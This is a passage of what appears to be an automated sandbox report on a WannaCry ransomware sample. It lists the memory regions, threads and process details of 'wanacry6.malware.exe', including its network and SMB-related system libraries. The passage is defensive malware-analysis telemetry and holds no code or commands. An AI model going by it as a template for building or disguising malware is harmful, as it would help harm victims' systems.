0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 10582 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 10583 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 10584 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 10585 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 10586 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 10587 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 10588 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Region: id = 10597 start_va = 0xcbc2510000 end_va = 0xcbc2511fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2510000" filename = "" Region: id = 10598 start_va = 0xcbc2520000 end_va = 0xcbc2520fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2520000" filename = "" Region: id = 10599 start_va = 0xcbc2530000 end_va = 0xcbc2531fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2530000" filename = "" Region: id = 10600 start_va = 0xcbc2540000 end_va = 0xcbc2581fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2540000" filename = "" Region: id = 10601 start_va = 0xcbc2610000 end_va = 0xcbc2611fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2610000" filename = "" Region: id = 10602 start_va = 0xcbc2620000 end_va = 0xcbc2629fff entry_point = 0x0 region_type = private name = "private_0x000000cbc2620000" filename = "" Region: id = 10603 start_va = 0xcbc2630000 end_va = 0xcbc26affff entry_point = 0x0 region_type = private name = "private_0x000000cbc2630000" filename = "" Region: id = 10604 start_va = 0xcbc26b0000 end_va = 0xcbc26b0fff entry_point = 0x0 region_type = private name = "private_0x000000cbc26b0000" filename = "" Region: id = 10605 start_va = 0x7ff63bc8e000 end_va = 0x7ff63bc8ffff entry_point = 0x0 region_type = private name = "private_0x00007ff63bc8e000" filename = "" Region: id = 10606 start_va = 0xcbc26c0000 end_va = 0xcbc26c1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000cbc26c0000" filename = "" Thread: id = 760 os_tid = 0x8bc Thread: id = 761 os_tid = 0x8c0 Thread: id = 762 os_tid = 0x8c4 Thread: id = 763 os_tid = 0x8c8 Thread: id = 764 os_tid = 0x8cc Thread: id = 766 os_tid = 0x8d4 Thread: id = 767 os_tid = 0x8d8 Thread: id = 768 os_tid = 0x8dc Thread: id = 771 os_tid = 0x8e4 Thread: id = 772 os_tid = 0x8e8 Thread: id = 777 os_tid = 0x8fc Thread: id = 778 os_tid = 0x900 Thread: id = 780 os_tid = 0x908 Thread: id = 781 os_tid = 0x90c Thread: id = 785 os_tid = 0x920 Thread: id = 786 os_tid = 0x924 Thread: id = 788 os_tid = 0x92c Thread: id = 789 os_tid = 0x930 Thread: id = 793 os_tid = 0x944 Thread: id = 794 os_tid = 0x948 Thread: id = 796 os_tid = 0x950 Thread: id = 797 os_tid = 0x954 Thread: id = 803 os_tid = 0x96c Thread: id = 804 os_tid = 0x970 Thread: id = 806 os_tid = 0x978 Thread: id = 807 os_tid = 0x97c Thread: id = 811 os_tid = 0x990 Thread: id = 812 os_tid = 0x994 Thread: id = 814 os_tid = 0x99c Thread: id = 815 os_tid = 0x9a0 Thread: id = 819 os_tid = 0x9b4 Thread: id = 820 os_tid = 0x9b8 Thread: id = 822 os_tid = 0x9c0 Thread: id = 823 os_tid = 0x9c4 Thread: id = 833 os_tid = 0x9f4 Thread: id = 834 os_tid = 0x9f8 Thread: id = 836 os_tid = 0xa00 Thread: id = 837 os_tid = 0xa04 Thread: id = 846 os_tid = 0xa2c Thread: id = 847 os_tid = 0xa30 Thread: id = 849 os_tid = 0xa38 Thread: id = 850 os_tid = 0xa3c Thread: id = 853 os_tid = 0xa50 Thread: id = 854 os_tid = 0xa54 Thread: id = 856 os_tid = 0xa5c Thread: id = 857 os_tid = 0xa60 Thread: id = 862 os_tid = 0xa74 Thread: id = 863 os_tid = 0xa78 Thread: id = 865 os_tid = 0xa80 Thread: id = 866 os_tid = 0xa84 Thread: id = 870 os_tid = 0xa98 Thread: id = 871 os_tid = 0xa9c Thread: id = 873 os_tid = 0xaa4 Thread: id = 874 os_tid = 0xaa8 Thread: id = 878 os_tid = 0xabc Thread: id = 879 os_tid = 0xac0 Thread: id = 881 os_tid = 0xac8 Thread: id = 882 os_tid = 0xacc Thread: id = 886 os_tid = 0xae0 Thread: id = 887 os_tid = 0xae4 Thread: id = 889 os_tid = 0xaec Thread: id = 890 os_tid = 0xaf0 Thread: id = 894 os_tid = 0xb04 Thread: id = 895 os_tid = 0xb08 Thread: id = 897 os_tid = 0xb10 Thread: id = 898 os_tid = 0xb14 Thread: id = 902 os_tid = 0xb28 Thread: id = 903 os_tid = 0xb2c Thread: id = 905 os_tid = 0xb34 Thread: id = 906 os_tid = 0xb38 Thread: id = 916 os_tid = 0xb64 Thread: id = 918 os_tid = 0xb6c Thread: id = 919 os_tid = 0xb70 Thread: id = 995 os_tid = 0x7ac Process: id = "69" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x5d0f0000" os_pid = "0x8ec" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "58" os_parent_pid = "0x450" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 8053 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 8054 start_va = 0x5ead530000 end_va = 0x5ead54ffff entry_point = 0x0 region_type = private name = "private_0x0000005ead530000" filename = "" Region: id = 8055 start_va = 0x5ead550000 end_va = 0x5ead55efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005ead550000" filename = "" Region: id = 8056 start_va = 0x5ead560000 end_va = 0x5ead95ffff entry_point = 0x0 region_type = private name = "private_0x0000005ead560000" filename = "" Region: id = 8057 start_va = 0x5ead960000 end_va = 0x5ead963fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005ead960000" filename = "" Region: id = 8058 start_va = 0x7ff6ce730000 end_va = 0x7ff6ce752fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce730000" filename = "" Region: id = 8059 start_va = 0x7ff6ce75d000 end_va = 0x7ff6ce75efff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce75d000" filename = "" Region: id = 8060 start_va = 0x7ff6ce75f000 end_va = 0x7ff6ce75ffff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce75f000" filename = "" Region: id = 8061 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 8062 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 8069 start_va = 0x5ead970000 end_va = 0x5ead971fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005ead970000" filename = "" Region: id = 8070 start_va = 0x5ead980000 end_va = 0x5ead981fff entry_point = 0x0 region_type = private name = "private_0x0000005ead980000" filename = "" Region: id = 8075 start_va = 0x5ead9b0000 end_va = 0x5eaddaffff entry_point = 0x0 region_type = private name = "private_0x0000005ead9b0000" filename = "" Region: id = 8076 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 8077 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 8078 start_va = 0x5ead530000 end_va = 0x5ead53ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005ead530000" filename = "" Region: id = 8079 start_va = 0x7ff6ce630000 end_va = 0x7ff6ce72ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce630000" filename = "" Region: id = 8080 start_va = 0x5eaddb0000 end_va = 0x5eade2dfff entry_point = 0x5eaddb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 8081 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 8082 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8083 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 8084 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 8085 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 8086 start_va = 0x5ead540000 end_va = 0x5ead546fff entry_point = 0x0 region_type = private name = "private_0x0000005ead540000" filename = "" Region: id = 8087 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 8088 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 8089 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 8090 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 8091 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8092 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 8093 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 8094 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 8095 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 8096 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 8097 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8098 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 8099 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 8100 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 8101 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 8102 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 8103 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 8104 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 8105 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 8106 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 8107 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 8108 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 8109 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 8110 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 8111 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 8112 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 8113 start_va = 0x5eade30000 end_va = 0x5eade9ffff entry_point = 0x0 region_type = private name = "private_0x0000005eade30000" filename = "" Region: id = 8114 start_va = 0x5ead990000 end_va = 0x5ead996fff entry_point = 0x0 region_type = private name = "private_0x0000005ead990000" filename = "" Region: id = 8115 start_va = 0x5eade30000 end_va = 0x5eade63fff entry_point = 0x5eade31030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8116 start_va = 0x5eade90000 end_va = 0x5eade9ffff entry_point = 0x0 region_type = private name = "private_0x0000005eade90000" filename = "" Region: id = 8117 start_va = 0x5eadea0000 end_va = 0x5eae027fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eadea0000" filename = "" Region: id = 8118 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8119 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8120 start_va = 0x5eae030000 end_va = 0x5eae1b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eae030000" filename = "" Region: id = 8121 start_va = 0x5eae1c0000 end_va = 0x5eaf5bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eae1c0000" filename = "" Region: id = 8122 start_va = 0x5ead9a0000 end_va = 0x5ead9a0fff entry_point = 0x0 region_type = private name = "private_0x0000005ead9a0000" filename = "" Region: id = 8123 start_va = 0x5eade30000 end_va = 0x5eade30fff entry_point = 0x0 region_type = private name = "private_0x0000005eade30000" filename = "" Region: id = 8124 start_va = 0x5eade40000 end_va = 0x5eade40fff entry_point = 0x5eade40000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 8125 start_va = 0x5eade50000 end_va = 0x5eade51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eade50000" filename = "" Region: id = 8126 start_va = 0x5eade40000 end_va = 0x5eade4ffff entry_point = 0x0 region_type = private name = "private_0x0000005eade40000" filename = "" Region: id = 8127 start_va = 0x5eaf5c0000 end_va = 0x5eaf679fff entry_point = 0x5eaf5ec768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8128 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 8129 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8130 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 8132 start_va = 0x5eade60000 end_va = 0x5eade60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eade60000" filename = "" Region: id = 8133 start_va = 0x5eaf5c0000 end_va = 0x5eaf6affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eaf5c0000" filename = "" Region: id = 8134 start_va = 0x5eade60000 end_va = 0x5eade63fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eade60000" filename = "" Region: id = 8135 start_va = 0x5eade70000 end_va = 0x5eade76fff entry_point = 0x0 region_type = private name = "private_0x0000005eade70000" filename = "" Region: id = 8136 start_va = 0x5eaf6b0000 end_va = 0x5eaf7affff entry_point = 0x0 region_type = private name = "private_0x0000005eaf6b0000" filename = "" Region: id = 8137 start_va = 0x5eaf7b0000 end_va = 0x5eaf8b0fff entry_point = 0x5eaf7dfa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 8138 start_va = 0x5eade80000 end_va = 0x5eade80fff entry_point = 0x0 region_type = private name = "private_0x0000005eade80000" filename = "" Region: id = 8139 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 8140 start_va = 0x5eaf7b0000 end_va = 0x5eafa84fff entry_point = 0x5eaf7b0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8141 start_va = 0x5eafa90000 end_va = 0x5eafa92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eafa90000" filename = "" Region: id = 8142 start_va = 0x5eafa90000 end_va = 0x5eafa90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eafa90000" filename = "" Region: id = 8143 start_va = 0x5eafaa0000 end_va = 0x5eafaa0fff entry_point = 0x0 region_type = private name = "private_0x0000005eafaa0000" filename = "" Region: id = 8144 start_va = 0x5eafab0000 end_va = 0x5eaffa1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005eafab0000" filename = "" Region: id = 8145 start_va = 0x5eaffb0000 end_va = 0x5eb0e1ffff entry_point = 0x5eaffb0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 8146 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8147 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8148 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8149 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8150 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8151 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8152 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8153 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8154 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8155 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8156 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8157 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8158 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8159 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8160 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8161 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8162 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8163 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 8164 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 8165 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 8166 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 8167 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 